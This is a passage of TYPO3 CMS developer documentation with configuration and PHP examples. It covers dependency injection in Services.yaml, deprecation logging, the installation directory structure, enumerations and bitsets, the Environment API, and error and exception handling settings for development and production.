See the difference? We're requesting the injection of an interface and not a class! It works for both constructor and method injection. It forces the service container to look up which specific class is configured as implementation of the interface and inject an instance of it. This is the true heart of dependency injection: A consuming class no longer codes on a specific implementation, but on the signature of the interface. The framework makes sure something is injected that satisfies the interface, the consuming class does not care, it just knows about the interface methods. An instance administrator can decide to configure the framework to inject some different implementation than the default, and that's fully transparent for consuming classes.

Here's an example scenario that demonstrates how you can define the specific implementations that shall be used for an interface type hint:

EXT:my_extension/Controller/MyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Service\MyServiceInterface;

class MyController
{
    public function __construct(
        private readonly MyServiceInterface $myService
    ) {}
}
Copied!
EXT:my_extension/Controller/MySecondController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

class MySecondController extends MyController {}
Copied!
EXT:my_extension/Controller/MyThirdController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Service\MyServiceInterface;

class MyThirdController
{
    private MyServiceInterface $myService;

    public function injectMyService(MyServiceInterface $myService)
    {
        $this->myService = $myService;
    }
}
Copied!
EXT:my_extension/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false

  # Define the default implementation of an interface
  MyVendor\MyExtension\Service\MyServiceInterface: '@MyVendor\MyExtension\Service\MyDefaultService'

  # Within MySecond- and MyThirdController different implementations for said
  # interface shall be used instead.

  # Version 1: when working with constructor injection
  MyVendor\MyExtension\Controller\MySecondController:
    arguments:
      $service: '@MyVendor\MyExtension\Service\MySecondService'

  # Version 2: when working with method injection
  MyVendor\MyExtension\Controller\MyThirdController:
    calls:
      - method: 'injectMyService'
        arguments:
          $service: '@MyVendor\MyExtension\Service\MyThirdService'
Copied!

Using container->get()

[WIP] Service containers provide two methods to obtain objects, first via $container->get(), and via DI. This is only available for services itself: Classes that are registered as a service via configuration can use injection or $container->get(). DI is supported in two ways: As constructor injection, and as inject*() method injection. They lead to the same result, but have subtle differences. More on that later.

In general, services should use DI (constructor or method injection) to obtain dependencies. This is what you'll most often find when looking at core implementations. However, it is also possible to get the container injected and then use $container->get() to instantiate services. This is useful for factory-like services where the exact name of classes is determined at runtime.

Configuration

Configure dependency injection in extensions

Extensions have to configure their classes to make use of the dependency injection. This can be done in Configuration/Services.yaml. Alternatively, Configuration/Services.php can also be used. A basic Services.yaml file of an extension looks like the following.

EXT:my_extension/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false

  MyVendor\MyExtension\:
    resource: '../Classes/*'
    exclude: '../Classes/Domain/Model/*'
Copied!
autowire

autowire: true instructs the dependency injection component to calculate the required dependencies from type declarations. This works for constructor injection and inject*() methods. The calculation generates a service initialization code which is cached in the TYPO3 Core cache.

autoconfigure
It is suggested to enable autoconfigure: true as this automatically adds Symfony service tags based on implemented interfaces or base classes. For example, autoconfiguration ensures that classes implementing \TYPO3\CMS\Core\SingletonInterface are publicly available from the Symfony container and marked as shared ( shared: true).
Model exclusion
The path exclusion exclude: '../Classes/Domain/Model/*' excludes your models from the dependency injection container, which means you cannot inject them nor inject dependencies into them. Models are not services and therefore should not require dependency injection. Also, these objects are created by the Extbase persistence layer, which does not support the DI container.

Arguments

In case you turned off autowire or need special arguments, you can configure those as well. This means that you can set autowire: false for an extension, but provide the required arguments via config specifically for the desired classes. This can be done in chronological order or by naming.

EXT:my_extension/Configuration/Services.yaml
MyVendor\MyExtension\UserFunction\ClassA:
  arguments:
    $argA: '@TYPO3\CMS\Core\Database\ConnectionPool'

MyVendor\MyExtension\UserFunction\ClassB:
  arguments:
    - '@TYPO3\CMS\Core\Database\ConnectionPool'
Copied!

This allows you to inject concrete objects like the Connection:

EXT:my_extension/Configuration/Services.yaml
connection.pages:
  class: 'TYPO3\CMS\Core\Database\Connection'
  factory:
    - '@TYPO3\CMS\Core\Database\ConnectionPool'
    - 'getConnectionForTable'
  arguments:
    - 'pages'

MyVendor\MyExtension\UserFunction\ClassA:
  public: true
  arguments:
    - '@connection.pages'
Copied!

Now you can access the Connection instance within ClassA. This allows you to execute your queries without further instantiation. For example, this method of injecting objects also works with extension configurations and with TypoScript settings.

Public

public: false is a performance optimization and should therefore be set in extensions. This settings controls which services are available through the dependency injection container used internally by GeneralUtility::makeInstance(). However, some classes that need to be public are automatically marked as public due to autoconfigure: true being set. These classes include singletons, as they must be shared with code that uses GeneralUtility::makeInstance() and Extbase controllers.

What to make public

Every class that is instantiated using GeneralUtility::makeInstance() and requires dependency injection must be marked as public. The same goes for instantiation via GeneralUtility::makeInstance() using constructor arguments.

Any other class which requires dependency injection and is retrieved by dependency injection itself can be private.

Instances of \TYPO3\CMS\Core\SingletonInterface and Extbase controllers are automatically marked as public. This allows them to be retrieved using GeneralUtility::makeInstance() as done by TYPO3 internally.

More examples of classes that must be marked as public:

For such classes, an extension can override the global configuration public: false in Configuration/Services.yaml for each affected class:

EXT:my_extension/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false

  MyVendor\MyExtension\:
    resource: '../Classes/*'
    exclude: '../Classes/Domain/Model/*'

  MyVendor\MyExtension\UserFunction\ClassA:
    public: true
Copied!

With this configuration, you can use dependency injection in \MyVendor\MyExtension\UserFunction\ClassA when it is created, for example in the context of a USER TypoScript object, which would not be possible if this class were private.

Errors resulting from wrong configuration

If objects that use dependency injection are not configured properly, one or more of the following issues may result. In such a case, check whether the class has to be configured as public: true.

ArgumentCountError is raised on missing dependency injection for Constructor injection:

(1/1) ArgumentCountError

Too few arguments to function MyVendor\MyExtension\Namespace\Class::__construct(),
0 passed in typo3/sysext/core/Classes/Utility/GeneralUtility.php on line 3461 and exactly 1 expected
Copied!

An Error is thrown on missing dependency injection for Method injection, once the dependency is used within the code:

(1/1) Error

Call to a member function methodName() on null
Copied!

User functions and their restrictions

It is possible to use dependency injection when calling custom user functions, for example .userFunc within TypoScript or in (legacy) hooks, usually via \TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction().

This method callUserFunction() internally uses the dependency-injection-aware helper GeneralUtility::makeInstance(), which can recognize and inject classes/services that are marked public.

Dependency injection in a XCLASSed class

When extending an existing class (for example, an Extbase controller) using XCLASS and injecting additional dependencies using constructor injection, ensure that a reference to the extended class is added in the Configuration/Services.yaml file of the extending extension, as shown in the example below:

EXT:my_extension/Configuration/Services.yaml
TYPO3\CMS\Belog\Controller\BackendLogController: '@MyVendor\MyExtension\Controller\ExtendedBackendLogController'
Copied!

Further information

Deprecation

Introduction

Calls to deprecated functions are logged to track usage of deprecated/outdated methods in the TYPO3 Core. Developers have to make sure to adjust their code to avoid using this old functionality since deprecated methods will be removed in future TYPO3 releases.

Deprecations use the PHP method trigger_error('a message', E_USER_DEPRECATED) and run through the logging and exception stack of the TYPO3 Core. There are several methods that help extension developers in dispatching deprecation errors. In the development context, deprecations are turned into exceptions by default and ignored in the production context.

Enabling deprecation errors

TYPO3 ships with a default configuration, in which deprecation logging is disabled. If you upgrade to the latest TYPO3 version, you need to change your development configuration to enable deprecation logging in case you need it.

Via GUI

Enabling the deprecation log can be done in the Admin Tools > Settings backend module. Click on Choose Preset in the Configuration Presets pane, open Debug settings, activate the Debug option and submit with Activate preset. Disabling the deprecation log can be done by selecting the Live preset instead.

Enabling the debug preset

Enabling the debug preset

The debug preset enables also some other debug settings.

Via configuration file directly

Instead of using the GUI you can also enable or disable the deprecation log with the disabled option:

Excerpt of typo3conf/LocalConfiguration.php
<?php

return [
    // ... some configuration
    'LOG' => [
        'TYPO3' => [
            'CMS' => [
                'deprecations' => [
                    'writerConfiguration' => [
                        'notice' => [
                            'TYPO3\CMS\Core\Log\Writer\FileWriter' => [
                                'disabled' => false,
                            ],
                        ],
                    ],
                ],
            ],
        ],
    ],
    // ... more configuration
];
Copied!

Deprecation logging can also be enabled in the additional.php configuration file, here with safeguarding to only enable it in development context:

typo3conf/AdditionalConfiguration.php
<?php

use Psr\Log\LogLevel;
use TYPO3\CMS\Core\Core\Environment;
use TYPO3\CMS\Core\Log\Writer\FileWriter;

if (Environment::getContext()->isDevelopment()) {
    $GLOBALS['TYPO3_CONF_VARS']['LOG']['TYPO3']['CMS']['deprecations']
    ['writerConfiguration'][LogLevel::NOTICE][FileWriter::class]
    ['disabled'] = false;
}
Copied!

For more information on how to configure the writing of deprecation logs see Writer configuration.

Find calls to deprecated functions

The extension scanner provides an interactive interface to scan extension code for usage of removed or deprecated TYPO3 Core API.

It is also possible to do a file search for @deprecated and E_USER_DEPRECATED . Using an IDE you can find all calls to the affected methods.

The deprecations are also listed in the changelog of the corresponding TYPO3 version.

Deprecate functions in extensions

Methods that will be removed in future versions of your extension should be marked as deprecated by both the doc comment and a call to the PHP error method:

Excerpt of EXT:my_extension/Classes/MyClass.php
/**
 * @deprecated since version 3.0.4, will be removed in version 4.0.0
 */
public function decreaseColPosCountByRecord(array $record, int $dec = 1): int
{
    trigger_error(
        'Method "decreaseColPosCountByRecord" is deprecated since version 3.0.4, will be removed in version 4.0.0',
        E_USER_DEPRECATED
    );

    // ... more logic
}
Copied!

For more information about how to deprecate classes, arguments and hooks and how the TYPO3 Core handles deprecations, see How to deprecate classes, methods, arguments and hooks in the TYPO3 core.

Directory structure

The overview below describes the directory structure in a typical Composer-based TYPO3 installation. For the structure in a legacy installation see Legacy installations: Directory structure.

Also see Environment for further information, especially how to retrieve the paths within PHP code.

Files on project level

On the top-most level, the project level, you can find the files composer.json which contains requirements for the TYPO3 installation and the composer.lock which contains information about the concrete installed versions of each package.

Directories in a typical project

config/

TYPO3 configuration directory. This directory contains installation-wide configuration.

config/sites/

The folder config/sites contains subfolders for each site configuration.

local_packages/

Each web site which is run on TYPO3 should have a sitepackage, an extension with a special purpose containing all templates, styles, images, etc. needed for the theme.

It is usually stored locally and then symlinked into the vendor/ folder. Many projects also need custom extensions that can be stored here.

The folder for local packages has to be defined in the project's composer.json to be used:

composer.json
{
    "name": "myvendor/my-project",
    "repositories": {
        "my_local_packages": {
            "type": "path",
            "url": "local_packages/*"
        }
    },
    "...": "..."
}
Copied!

public/

We assume here that your web root points to a folder called public in a Composer-based installation as is commonly done. Otherwise, replace public with the path to your web root.

public/fileadmin/

This is a directory in which editors store files. Typically images, PDFs or video files appear in this directory and/or its subdirectories.

Note this is only the default editor's file storage. This directory is handled via the FAL API internally, there may be further storage locations configured outside of fileadmin/, even pointing to different servers or using 3rd party digital asset management systems.

Depending on the configuration in $GLOBALS['TYPO3_CONF_VARS']['BE']['fileadminDir'] another folder name than fileadmin/ can be in use.

public/typo3/

TYPO3 Backend directory. This directory contains most of the files coming with the TYPO3 Core. The files are arranged logically in the different system extensions in the sysext/ directory, according to the application area of the particular file. For example, the "frontend" extension amongst other things contains the "TypoScript library", the code for generating the Frontend website. In each system extension the PHP files are located in the folder Classes/. See extension files locations for more information on how single extensions are structured.

public/typo3conf/

Amongst others, this directory contains the files LocalConfiguration.php and AdditionalConfiguration.php. See chapter Configuration files for details.

public/typo3conf/ext/

Directory for third-party and custom TYPO3 extensions. Each subdirectory contains one extension.

public/typo3temp/

Directory for temporary files. It contains subdirectories (see below) for temporary files of extensions and TYPO3 components.

public/typo3temp/assets/

Directory for temporary files that should be public available (e.g. generated images).

var/

Directory for temporary files that contains private files (e.g. cache and logs files) and should not be publicly available.

var/cache/

This directory contains internal files needed for the cache.

var/labels/

The directory var/labels/ is for extension localizations. It contains all downloaded translation files.

This path can be retrieved from the Environment API, see getLabelsPath().

var/log/

This directory contains log files like the TYPO3 log, the deprecations log and logs generated by extensions.

vendor/

In this directory, which lies outside of the webroot, third-party dependencies that are not TYPO3 extensions are installed.

If optional Composer installers v4 is used, TYPO3 extensions are also installed here.

TYPO3 v11 with Composer installers v4

TYPO3 requires the Composer plugin typo3/cms-composer-installers which takes care of moving extensions to the right folders upon installation: public/typo3/ and public/typo3conf/ext/. TYPO3 v11 uses version 3 of the Composer plugin by default.

With the new major version 4 extensions are installed always in the vendor/ folder. The directory structure of the TYPO3 project is similar to the directory structure of TYPO3 v12. Most notably public assets provided by extensions will be available in public/_assets/.

At time of writing the usage of version 4 is available as release candidate and therefore optional. To use it right now in a TYPO3 v11 installation require the new version in your project's composer.json:

composer req typo3/cms-composer-installers:"^4.0@rc"
Copied!

public/_assets/ (Composer installer v4)

This directory includes symlinks to public resources of extensions, as consequence of this and further structure changes the folder typo3conf/ext/ is not created or used anymore. So all files like CSS, JavaScript, Icons, Fonts, Images, etc. of extensions which are stored in the folder Resources/Public/ are not available anymore directly to the extension folders but linked into the directory _assets/.

vendor/ (Composer installer v4)

In this directory, which lies outside of the webroot, all extensions (system, third-party and custom) are installed as Composer packages.

The directory contains folders for each required vendor and inside each vendor directory there is a folder with the different project names.

For example the system extension core has the complete package name typo3/cms-core and will therefore be installed into the directory vendor/typo3/cms-core. The extension news, package name georgringer/news will be installed into the folder vendor/georgringer/news.

Never put or symlink your extensions manually into this directory as it is managed by Composer and any manual changes are getting lost, for example on deployment. Local extensions and sitepackages should be kept in a separate folder outside the web root, for example local_packages. Upon installation , Composer creates a symlink from local_packages to vendor/myvendor/my-extension.

Legacy installations: Directory structure

The structure below describes the directory structure in a legacy TYPO3 installation without Composer. For the structure in a Composer-based installation see Composer-based installations: Directory structure.

Files on project level

This folder contains the main entry script index.php and might contain publicly available files like a robots.txt and files needed for the server configuration like a .htaccess file.

Directories in a typical project

fileadmin/

This is a directory in which editors store files. It is used for the same files like public/fileadmin/ in the Composer-based directory structure.

typo3/

Among others, this directory contains the two PHP files for accessing the TYPO3 backend (typo3/index.php) and install tool (typo3/install.php).

typo3/sysext/

All system extensions, supplied by the TYPO3 Core, are stored here.

typo3_source/

It is a common practice in legacy installations to use symlinks to quickly change between TYPO3 Core versions. In many installations you will find a symlink or folder called typo3_source that contains the folders typo3/, and vendor/ and the file index.php. In this case, those directories and files only symlink to typo3_source. This way the Core can be updated quickly by changing the symlink.

Assuming your webroot is a directory called public you could have the following symlink structure:

  • typo3_src-12.0.0

    • typo3
    • vendor
    • index.php
  • public

    • fileadmin
    • typo3 -> typo3_src/typo3
    • typo3_src -> ../typo3_src-12.0.0
    • typo3conf
    • typo3temp
    • vendor -> typo3_src/vendor
    • index.php -> typo3_src/index.php

typo3conf/

Amongst others, this directory contains the files LocalConfiguration.php and AdditionalConfiguration.php. See chapter Configuration files for details.

This path can be retrieved from the Environment API, see getConfigPath().

typo3conf/autoload/

Contains autoloading information. The files are updated each time an extension is installed via the Extension Manager.

typo3conf/ext/

Directory for third-party and custom TYPO3 extensions. Each subdirectory contains one extension. The name of each directory must be the extension key or the extension will not be loaded directly. You can put or symlink custom extensions and sitepackages here.

See extension files locations for more information on how the extensions are structured.

typo3conf/l10n/

Directory for extension localizations. Contains all downloaded translation files.

This path can be retrieved from the Environment API, see getLabelsPath().

typo3conf/sites/

Contains subfolders for each site configuration.

typo3temp/

Directory for temporary files. It contains subdirectories (see below) for temporary files of extensions and TYPO3 components.

typo3temp/assets/

Directory for temporary files that should be publicly available (e.g. generated images).

typo3temp/var/

Directory for temporary files that should not be accessed through the web (cache, log, etc).

vendor/

This directory contains third-party packages that are required by the TYPO3 Core.

Enumerations & bitsets

  • Use an enumeration, if you have a fixed list of values.
  • Use a bitset, if you have a list of boolean flags.

Do not use PHP constants directly, if your code is meant to be extendable, as constants cannot be deprecated, but the values of an enumeration or methods of a bitset can.

Background and history

Before version 8.1, PHP had no enumeration concept as part of the language. Therefore the TYPO3 Core includes a custom enumeration implementation.

In TYPO3, enumerations are implemented by extending the abstract class \TYPO3\CMS\Core\Type\Enumeration . It was originally implemented similar to \SplEnum which is unfortunately part of the unmaintained package PECL spl_types.

With PHP version 8.1, an enumeration concept was implemented (see the Enumeration documentation for more details). This makes it possible to drop the custom enumeration concept from the Core in a future TYPO3 version.

How to use enumerations

Create an enumeration

To create a new enumeration you have to extend the class \TYPO3\CMS\Core\Type\Enumeration . Make sure your enumeration is marked as final, this ensures your code only receives a known set of values. Otherwise adding more values by extension will lead to undefined behavior in your code.

Values are defined as constants in your implementation. The names of the constants must be given in uppercase.

A special, optional constant __default represents the default value of your enumeration, if it is present. In that case the enumeration can be instantiated without a value and will be set to the default.

Example:

EXT:my_extension/Classes/Enumeration/LikeWildcard.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Enumerations;

use TYPO3\CMS\Core\Type\Enumeration;

final class LikeWildcard extends Enumeration
{
    public const __default = self::BOTH;

    /**
     * @var int Do not use any wildcard
     */
    public const NONE = 0;

    /**
     * @var int Use wildcard on left side
     */
    public const LEFT = 1;

    /**
     * @var int Use wildcard on right side
     */
    public const RIGHT = 2;

    /**
     * @var int Use wildcard on both sides
     */
    public const BOTH = 3;
}
Copied!

Use an enumeration

You can create an instance of the Enumeration class like you would usually do, or you can use the Enumeration::cast() method for instantiation. The Enumeration::cast() method can handle:

  • Enumeration instances (where it will simply return the value) and
  • simple types with a valid Enumeration value,

whereas the "normal" __construct() will always try to create a new instance.

That allows to deprecate enumeration values or do special value casts before finding a suitable value in the enumeration.

Example:

EXT:my_extension/Classes/SomeClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use MyVendor\MyExtension\Enumerations\LikeWildcard;

final class SomeClass
{
    public function doSomething()
    {
        // ...

        $likeWildcardLeft = LikeWildcard::cast(LikeWildcard::LEFT);

        $valueFromDatabase = 1;

        // will cast the value automatically to an enumeration.
        // Result is true.
        $likeWildcardLeft->equals($valueFromDatabase);

        $enumerationWithValueFromDb = LikeWildcard::cast($valueFromDatabase);

        // Remember to always use ::cast and never use the constant directly
        $enumerationWithValueFromDb->equals(LikeWildcard::cast(LikeWildcard::RIGHT));

        // ...
    }

    // ...
}
Copied!

Exceptions

If the enumeration is instantiated with an invalid value, a \TYPO3\CMS\Core\Type\Exception\InvalidEnumerationValueException is thrown. This exception must be caught, and you have to decide what the appropriate behavior should be.

Example:

EXT:my_extension/Classes/SomeClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use MyVendor\MyExtension\Enumerations\LikeWildcard;
use TYPO3\CMS\Core\Type\Exception\InvalidEnumerationValueException;

final class SomeClass
{
    public function doSomething()
    {
        // ...

        try {
            $foo = LikeWildcard::cast($valueFromPageTs);
        } catch (InvalidEnumerationValueException $exception) {
            $foo = LikeWildcard::cast(LikeWildcard::NONE);
        }

        // ...
    }

    // ...
}
Copied!

Implement custom logic

Sometimes it makes sense to not only validate a value, but also to have custom logic as well.

For example, the \TYPO3\CMS\Core\Versioning\VersionState enumeration contains values of version states. Some of the values indicate that the state is a "placeholder". This logic can be implemented by a custom method:

EXT:core/Classes/Versioning/VersionState.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use TYPO3\CMS\Core\Type\Enumeration;

final class VersionState extends Enumeration
{
    const __default = self::DEFAULT_STATE;
    const NEW_PLACEHOLDER_VERSION = -1;
    const DEFAULT_STATE = 0;
    const NEW_PLACEHOLDER = 1;
    const DELETE_PLACEHOLDER = 2;
    const MOVE_POINTER = 4;

    /**
     * @return bool
     */
    public function indicatesPlaceholder(): bool
    {
        return (int)$this->__toString() > self::DEFAULT_STATE;
    }
}
Copied!

The method can then be used in your class:

EXT:my_extension/Classes/SomeClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

final class SomeClass
{
    public function doSomething()
    {
        // ...

        $myVersionState = VersionState::cast($versionStateValue);
        if ($myVersionState->indicatesPlaceholder()) {
            echo 'The state indicates that this is a placeholder';
        }

        // ...
    }

    // ...
}
Copied!

How to use bitsets

Bitsets are used to handle boolean flags efficiently.

The class \TYPO3\CMS\Core\Type\BitSet provides a TYPO3 implementation of a bitset. It can be used standalone and accessed from the outside, but we recommend creating specific bitset classes that extend the TYPO3 BitSet class.

The functionality is best described by an example:

<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Type\BitSet;

define('PERMISSIONS_NONE', 0b0); // 0
define('PERMISSIONS_PAGE_SHOW', 0b1); // 1
define('PERMISSIONS_PAGE_EDIT', 0b10); // 2
define('PERMISSIONS_PAGE_DELETE', 0b100); // 4
define('PERMISSIONS_PAGE_NEW', 0b1000); // 8
define('PERMISSIONS_CONTENT_EDIT', 0b10000); // 16
define('PERMISSIONS_ALL', 0b11111); // 31

$bitSet = new BitSet(PERMISSIONS_PAGE_SHOW | PERMISSIONS_PAGE_NEW);
$bitSet->get(PERMISSIONS_PAGE_SHOW); // true
$bitSet->get(PERMISSIONS_CONTENT_EDIT); // false
Copied!

The example above uses global constants. Implementing that via an extended bitset class makes it clearer and easier to use:

EXT:my_extension/Classes/Bitmask/Permissions.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Bitmask;

use TYPO3\CMS\Core\Type\BitSet;

final class Permissions extends BitSet
{
    public const NONE = 0b0; // 0
    public const PAGE_SHOW = 0b1; // 1
    public const PAGE_EDIT = 0b10; // 2
    public const PAGE_DELETE = 0b100; // 4
    public const PAGE_NEW = 0b1000; // 8
    public const CONTENT_EDIT = 0b10000; // 16
    public const ALL = 0b11111; // 31

    public function hasPermission(int $permission): bool
    {
        return $this->get($permission);
    }

    public function hasAllPermissions(): bool
    {
        return $this->get(self::ALL);
    }

    public function allow(int $permission): void
    {
        $this->set($permission);
    }
}
Copied!

Then use your custom bitset class:

<?php

declare(strict_types=1);

use MyVendor\MyExtension\Bitmask\Permissions;

$permissions = new Permissions(Permissions::PAGE_SHOW | Permissions::PAGE_NEW);
$permissions->hasPermission(Permissions::PAGE_SHOW); // true
$permissions->hasPermission(Permissions::CONTENT_EDIT); // false
Copied!

Environment

Since version 9.x the TYPO3 Core includes an environment class. This class contains all environment-specific information, e.g. paths within the filesystem. This implementation replaces previously used global variables and constants like PATH_site.

The fully qualified class name is \TYPO3\CMS\Core\Core\Environment . The class provides static methods to access the necessary information.

To simulate environments in testing scenarios, the initialize()-method can be called to adjust the information.

Environment PHP API

getProjectPath()

The environment provides the path to the folder containing the composer.json. For projects without Composer setup, this is equal to getPublicPath().

getPublicPath()

The environment provides the path to the public web folder with index.php for the TYPO3 frontend. This was previously PATH_site. For projects without Composer setup, this is equal to getProjectPath().

getVarPath()

The environment provides the path to the var folder. This folder contains data like logs, sessions, locks, and cache files.

For projects with Composer setup, the value is getProjectPath() . '/var', so it is outside of the web document root - not within getPublicPath().

Without Composer, the value is getPublicPath() . '/typo3temp/var', so within the web document root - a situation that is not optimal from a security point of view.

getConfigPath()

The environment provides the path to typo3conf. This folder contains TYPO3 global configuration files and folders, e.g. LocalConfiguration.php.

For projects with Composer setup, the value is getProjectPath() . '/config', so it is outside of the web document root - not within getPublicPath().

Without Composer, the value is getPublicPath() . '/typo3conf', so within the web document root - a situation that is not optimal from a security point of view.

getLabelsPath()

The environment provides the path to labels, respective l10n folder. This folder contains downloaded translation files.

For projects with Composer setup, the value is getVarPath() . '/labels', so it is outside of the web document root - not within getPublicPath().

Without Composer, the value is getPublicPath() . '/typo3conf/l10n', so within the web document root - a situation that is not optimal from a security point of view.

getCurrentScript()

Returns the path and filename to the current PHP script.

getContext()

Returns the current Application context, usually defined via the TYPO3_CONTEXT environment variable. May be one of Production, Testing, or Development with optional sub-contexts like Production/Staging.

Example, test for production context:

typo3conf/AdditionalConfiguration.php
// use \TYPO3\CMS\Core\Core\Environment;

$applicationContext = Environment::getContext();
if ($applicationContext->isProduction()) {
   // do something only when in production context
}
Copied!

Error and exception handling

TYPO3 has a built-in error and exception handling system. Administrators can configure how errors and exceptions are displayed in both the backend and the frontend.

Configuration

Via the GUI

You can configure the most important settings for live or debug error handling in the presets:

Admin Tools > Settings > Configuration Presets > Debug Settings

Enable the debug settings in the Admin Tools

For more fine-grained error handling you can change various settings in:

Admin Tools > Settings > Configure Installation-Wide Options > SYS

Via configuration files

It is also possible to write changes manually into the configuration file config/system/settings.php or config/system/additional.php. Most configuration options related to error and exception handling are part of $GLOBALS['TYPO3_CONF_VARS']['SYS'] .

The following configuration values are of interest:

$GLOBALS['TYPO3_CONF_VARS']['BE']['debug']
If enabled, the login refresh is disabled and pageRenderer is set to debug mode. Furthermore the fieldname is appended to the label of fields.
$GLOBALS['TYPO3_CONF_VARS']['FE']['debug']
If enabled, the total parse time of the page is added as HTTP response header X-TYPO3-Parsetime.
$GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask']
Defines a list of IP addresses which will allow development output to display. Setting to "*" will allow all. Setting it to an empty string allows none.
$GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors']
Configures whether PHP errors or Exceptions should be displayed.
$GLOBALS['TYPO3_CONF_VARS']['SYS']['errorHandler']
Classname to handle PHP errors. Leave empty to disable error handling.
$GLOBALS['TYPO3_CONF_VARS']['SYS']['errorHandlerErrors']
The E_* constants that will be handled by the error handler.
$GLOBALS['TYPO3_CONF_VARS']['SYS']['exceptionalErrors']
The E_* constant that will be converted into an exception by the default errorHandler.
$GLOBALS['TYPO3_CONF_VARS']['SYS']['productionExceptionHandler']
The default exception handler displays a nice error message when something goes wrong. The error message is logged to the configured logs.
$GLOBALS['TYPO3_CONF_VARS']['SYS']['debugExceptionHandler']
The default debug exception handler displays the complete stack trace of any encountered exception. The error message and the stack trace is logged to the configured logs.
$GLOBALS['TYPO3_CONF_VARS']['SYS']['belogErrorReporting']
Configures which PHP errors should be logged to the sys_log table.

Exception handler for rendering TypoScript content objects

Exceptions which occur during rendering of content objects (typically plugins) will be caught by default in production context and an error message is shown along with the rendered output. For more information and examples have a look into the TypoScript reference for config.contentObjectExceptionHandler.

Error Handler

Class \TYPO3\CMS\Core\Error\ErrorHandler is the default error handler in TYPO3.

Functions:

  • Can be registered for all PHP errors or for only a subset of the PHP errors which will then be handled by an error handler.
  • Displays error messages as flash messages in the Backend (if exceptionHandler is set to \TYPO3\CMS\Core\Error\DebugExceptionHandler ). Since flash messages are integrated in the Backend template, PHP messages will not destroy the Backend layout.
  • Displays errors as TsLog messages in the adminpanel.
  • Logs error messages via the logging API.
  • Logs error messages to the sys_log table. Logged errors are displayed in the belog extension (Admin Tools > Log). This will work only with an existing DB connection.

Production exception handler

Functionality of the \TYPO3\CMS\Core\Error\ProductionExceptionHandler :

  • Shows brief exception message ("Oops, an error occurred!") using \TYPO3\CMS\Core\Controller\ErrorPageController and its attendant template.
  • Logs exception messages via the logging API.
  • Logs exception messages to the sys_log table. Logged errors are displayed in the belog extension (Admin Tools > Log). This will only work with an existing DB connection.

Depending on the Logging writer configuration the exception output can be found for example in the following locations:

\TYPO3\CMS\Core\Log\Writer\FileWriter
In Composer-based installations the information can be found in directory var/logs/. In legacy installations in typo3temp/var/logs/.
\TYPO3\CMS\Core\Log\Writer\SyslogWriter
Logs exception messages to the sys_log table. Logged errors are displayed in the backend module Admin Tools > Log.

Here you find a complete list of Log writers.

Message "Oops, an error occurred!"

The generic error message "Oops, an error occurred!" is displayed when an exception or error happens within a TypoScript content object like FLUIDTEMPLATE or a plugin. When the exception affects only one content element or plugin it is displayed in place of that elements. However, if it affects the content element representing the whole page like FLUIDTEMPLATE only a plain page with this text on it is displayed.

This message is displayed in production context instead of a more detailed exception message. The detailed message can then be found in the log.

Show detailed exception output

When the frontend debugging is activated, a detailed exception message is output instead of the generic "Oops, an error occurred!" message.

By default, debugging is enabled in the TYPO3 contexts starting with Development. It can also be enabled by setting config.contentObjectExceptionHandler in TypoScript.

Example: prevent "Oops, an error occurred!" messages for logged-in admins

EXT:my_extension/Configuration/TypoScript/setup.typoscript
[backend.user.isAdmin]
    config.contentObjectExceptionHandler = 0
[END]
Copied!

Debug exception handler

Functions of \TYPO3\CMS\Core\Error\DebugExceptionHandler :

  • Shows detailed exception messages and full trace of an exception.
  • Logs exception messages via the TYPO3 logging framework.
  • Logs exception messages to the sys_log table. Logged errors are displayed in the belog extension (Admin Tools > Log). This will work only if there is an existing DB connection.

Examples

Debugging and development setup

Very verbose configuration which logs and displays all errors and exceptions.

In LocalConfiguration.php or AdditionalConfiguration.php:

typo3conf/AdditionalConfiguration.php
 $changeSettings['SYS'] = [
   'displayErrors' => 1,
   'devIPmask' => '*',
   'errorHandler' => 'TYPO3\\CMS\\Core\\Error\\ErrorHandler',
   'errorHandlerErrors' => E_ALL ^ E_NOTICE,
   'exceptionalErrors' => E_ALL ^ E_NOTICE ^ E_WARNING ^ E_USER_ERROR ^ E_USER_NOTICE ^ E_USER_WARNING,
   'debugExceptionHandler' => 'TYPO3\\CMS\\Core\\Error\\DebugExceptionHandler',
   'productionExceptionHandler' => 'TYPO3\\CMS\\Core\\Error\\DebugExceptionHandler',
];

$GLOBALS['TYPO3_CONF_VARS'] = array_replace_recursive($GLOBALS['TYPO3_CONF_VARS'], $changeSettings);
Copied!

You can also use the "Debug" preset in the Settings module "Configuration presets".

In .htaccess

.htaccess
php_flag display_errors on
php_flag log_errors on
php_value error_log /path/to/php_error.log
Copied!
EXT:some_extension/Configuration/TypoScript/setup.typoscript
config.contentObjectExceptionHandler = 0
Copied!

Use this setting, to get more context and a stacktrace in the Frontend in case of an exception.

See contentObjectExceptionHandler for more information.

Production setup

Example for a production configuration which displays only errors and exceptions, if the devIPmask setting matches. Errors and exceptions are only logged, if their log level is at least \Psr\Log\LogLevel::WARNING.

In LocalConfiguration.php or AdditionalConfiguration.php:

typo3conf/AdditionalConfiguration.php
 $changeSettings['SYS'] = [
   'displayErrors' => -1,
   'devIPmask' => '[your.IP.address]',
   'errorHandler' => 'TYPO3\\CMS\\Core\\Error\\ErrorHandler',
   'belogErrorReporting' => '0',
];

$GLOBALS['TYPO3_CONF_VARS'] = array_replace_recursive($GLOBALS['TYPO3_CONF_VARS'], $changeSettings);
Copied!

You can also use the "Live" preset in the Settings module "Configuration presets".

In .htaccess:

.htaccess
